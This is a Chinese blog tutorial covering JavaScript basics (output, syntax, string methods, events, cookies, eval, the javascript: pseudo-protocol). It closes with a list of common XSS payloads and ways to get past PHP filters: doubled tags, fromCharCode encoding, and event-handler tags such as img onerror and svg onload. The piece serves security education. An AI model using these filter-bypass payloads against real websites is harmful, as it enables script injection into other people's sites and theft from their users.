当前位置: 首页 > article >正文

网络安全-js安全知识点与XSS常用payloads

简介

JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。

用法

HTML 中的脚本必须位于 <script> 与 </script> 标签之间。

脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。

JS必备知识

输出与注释

输出

  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到浏览器的控制台。

<script>
window.alert('lady_killer9');
</script>

网络安全-js安全知识点与XSS常用payloads_网络安全

<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>

网络安全-js安全知识点与XSS常用payloads_正则表达式_02

<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>

网络安全-js安全知识点与XSS常用payloads_正则表达式_03

注释

单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。

语法

关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。

使用 ; 来分隔语句

使用 \ 来进行折行

运算符、条件控制与c++差不多

值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。

引用数据类型:对象(Object)、数组(Array)、函数(Function)。

动态类型,即变量可以改为不同类型。

面向对象语言,对象有属性和方法。

函数

关键字function定义一个函数

参数默认值为undefined,argument 对象包含了函数调用的参数数组。

关键字return来返回值

function myFunction(var1,var2,...)
{
代码

return something;
}

字符串方法

字符串方法
方法描述
charAt()返回指定索引位置的字符
charCodeAt()返回指定索引位置字符的 Unicode 值
concat()连接两个或多个字符串,返回连接后的字符串
fromCharCode()将 Unicode 转换为字符串
indexOf()返回字符串中检索指定字符第一次出现的位置
lastIndexOf()返回字符串中检索指定字符最后一次出现的位置
localeCompare()用本地特定的顺序来比较两个字符串
match()找到一个或多个正则表达式的匹配
replace()替换与正则表达式匹配的子串
search()检索与正则表达式相匹配的值
slice()提取字符串的片断,并在新的字符串中返回被提取的部分
split()把字符串分割为子字符串数组
substr()从起始索引号提取字符串中指定数目的字符
substring()提取字符串中两个指定的索引号之间的字符
toLocaleLowerCase()根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLocaleUpperCase()根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLowerCase()把字符串转换为小写
toString()返回字符串对象值
toUpperCase()把字符串转换为大写
trim()移除字符串首尾空白
valueOf()返回某个字符串对象的原始值

事件

HTML 事件可以是浏览器行为,也可以是用户行为。

常见HTML事件
事件描述
onchangeHTML 元素改变
onclick用户点击 HTML 元素
onmouseover用户在一个HTML元素上移动鼠标
onmouseout用户从一个HTML元素上移开鼠标
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载
onerror出错时执行,用于故意构造错误时执行代码

表单

document.forms[表单名][变量名]

Cookie

<script>document.cookie</script>

代码执行

eval函数将参数作为js代码执行

伪协议

javascript:js代码,可以放到Html标签中

XSS常用payload

普通

<script>alert('XSS')</script>
<script>document.cookie</script>

    双写绕过

    例如,php中使用str_replace函数替换<script>

    <scr<script>ipt>alert('XSS')</scr<script>ipt>

      编码绕过

      例如,php中使用mysqli_real_escape_string函数转义特殊字符

      "><script>alert(String.fromCharCode(88,83,83))</script>

        html标签绕过正则

        例如,php中使用preg_filter函数进行正则匹配删除script

        登录后复制 

        <img src=x onerror=alert('XSS');>
        <img src=x:alert(alt) onerror=eval(src) alt=xss>
        "><svg/onload=alert(/XSS/)
        <div onpointerover="alert(45)">MOVE HERE</div>
        <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
        <A HREF=http://127.0.0.1/phpinfo.php>link</A>

         

        网络安全学习路线

        对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

        同时每个成长路线对应的板块都有配套的视频提供:

        需要网络安全学习路线和视频教程的可以在评论区留言哦~

        最后
        • 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!

        给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

        黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

        结语

        网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

        特别声明:
        此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失


        http://www.kler.cn/a/555677.html

        相关文章:

      • HTML项目一键打包工具:HTML2EXE 最新版
      • AI学习指南DeepSeek篇(6)-DeepSeek论文介绍
      • 第37章 合作之路与占坑成功
      • 源码方式安装llama.cpp及调试
      • 【爬虫基础】第一部分 网络通讯-Socket套接字 P2/3
      • 将 DeepSeek 接入 WPS 为办公提效 !
      • baby_web(WEB)
      • 算法模板(二分法开区间模板,二分法闭区间模板)
      • 京东cfe滑块 分析
      • 跟着柳叶刀数字健康,学习如何通过病理切片预测分子分类对预后的影响|项目复现
      • 【深度学习】矩阵的理解与应用
      • 网络通信 之综合布线(Integrated Cabling for Network Communication)
      • 栈和队列-前K个高频元素
      • Windows 图形显示驱动开发-上下文监视
      • Leetcode 76 Minimum Window Substring
      • 鸿蒙NEXT开发-应用数据持久化之关系型数据库
      • Microsoft 365 Copilot中使用人数最多的是哪些应用
      • MariaDB 历史版本下载地址 —— 筑梦之路
      • Java多线程深度解析
      • QT项目——天气预报